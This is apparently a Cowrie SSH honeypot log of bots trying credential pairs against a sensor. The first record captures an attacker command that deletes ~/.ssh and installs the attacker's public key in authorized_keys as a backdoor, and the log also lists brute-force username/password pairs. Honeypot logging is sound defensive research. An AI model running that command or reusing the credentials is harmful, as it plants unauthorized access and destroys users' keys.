{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:10.547505Z","src_ip":"103.134.154.36","session":"82bbea106937","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:10.781001Z","src_ip":"103.134.154.36","session":"82bbea106937","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:10.784415Z","src_ip":"103.134.154.36","session":"82bbea106937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":56330,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae9dbe147ec9","protocol":"ssh","message":"New connection: 103.134.154.36:56330 (10.17.0.5:22) [session: ae9dbe147ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:11.008138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:11.012313Z","src_ip":"103.134.154.36","session":"ae9dbe147ec9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:11.244100Z","src_ip":"103.134.154.36","session":"ae9dbe147ec9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:12.209864Z","src_ip":"103.134.154.36","session":"ae9dbe147ec9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:13.443225Z","src_ip":"103.134.154.36","session":"ae9dbe147ec9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":56332,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeb510c963b1","protocol":"ssh","message":"New connection: 103.134.154.36:56332 (10.17.0.5:22) [session: aeb510c963b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:13.677585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:13.681245Z","src_ip":"103.134.154.36","session":"aeb510c963b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:13.915892Z","src_ip":"103.134.154.36","session":"aeb510c963b1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:14.898257Z","src_ip":"103.134.154.36","session":"aeb510c963b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:15.143860Z","src_ip":"103.134.154.36","session":"82bbea106937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:15.149020Z","src_ip":"103.134.154.36","session":"aeb510c963b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":33040,"dst_ip":"159.203.135.109","dst_port":22,"session":"fea92c0f0c8f","protocol":"ssh","message":"New connection: 2.57.122.96:33040 (159.203.135.109:22) [session: fea92c0f0c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:43.913335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:43.916744Z","src_ip":"2.57.122.96","session":"fea92c0f0c8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:44.019616Z","src_ip":"2.57.122.96","session":"fea92c0f0c8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana@123","message":"login attempt [solana/solana@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:44.341625Z","src_ip":"2.57.122.96","session":"fea92c0f0c8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:45.447293Z","src_ip":"2.57.122.96","session":"fea92c0f0c8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":37512,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d1ff8ff39ed","protocol":"ssh","message":"New connection: 92.118.39.76:37512 (10.17.0.5:22) [session: 6d1ff8ff39ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:53.654082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:53.658545Z","src_ip":"92.118.39.76","session":"6d1ff8ff39ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:53.764222Z","src_ip":"92.118.39.76","session":"6d1ff8ff39ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:54.162948Z","src_ip":"92.118.39.76","session":"6d1ff8ff39ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:55.315769Z","src_ip":"92.118.39.76","session":"6d1ff8ff39ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.112.42.129","src_port":12826,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6e37f5bdbf4","protocol":"ssh","message":"New connection: 42.112.42.129:12826 (10.17.0.5:22) [session: b6e37f5bdbf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:44:21.326459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:44:21.331025Z","src_ip":"42.112.42.129","session":"b6e37f5bdbf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:44:21.682165Z","src_ip":"42.112.42.129","session":"b6e37f5bdbf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student2025","message":"login attempt [student/student2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:44:22.803660Z","src_ip":"42.112.42.129","session":"b6e37f5bdbf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:44:24.055968Z","src_ip":"42.112.42.129","session":"b6e37f5bdbf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.193.178.240","src_port":35232,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6449c2c02fc","protocol":"ssh","message":"New connection: 103.193.178.240:35232 (159.203.135.109:22) [session: c6449c2c02fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:44:28.712826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:44:28.716816Z","src_ip":"103.193.178.240","session":"c6449c2c02fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:44:28.957676Z","src_ip":"103.193.178.240","session":"c6449c2c02fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bryan","password":"Bryan123","message":"login attempt [bryan/Bryan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:44:30.067184Z","src_ip":"103.193.178.240","session":"c6449c2c02fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:44:31.312053Z","src_ip":"103.193.178.240","session":"c6449c2c02fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.89","src_port":41750,"dst_ip":"10.17.0.5","dst_port":22,"session":"01128ab13eae","protocol":"ssh","message":"New connection: 165.154.6.89:41750 (10.17.0.5:22) [session: 01128ab13eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:44:47.937271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:44:47.941554Z","src_ip":"165.154.6.89","session":"01128ab13eae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:44:48.160053Z","src_ip":"165.154.6.89","session":"01128ab13eae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tibero","password":"tibero1234","message":"login attempt [tibero/tibero1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:44:49.065039Z","src_ip":"165.154.6.89","session":"01128ab13eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:44:50.286504Z","src_ip":"165.154.6.89","session":"01128ab13eae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59954,"dst_ip":"10.17.0.5","dst_port":22,"session":"17df85dd6c2f","protocol":"ssh","message":"New connection: 2.57.122.208:59954 (10.17.0.5:22) [session: 17df85dd6c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:03.950632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:03.956655Z","src_ip":"2.57.122.208","session":"17df85dd6c2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","a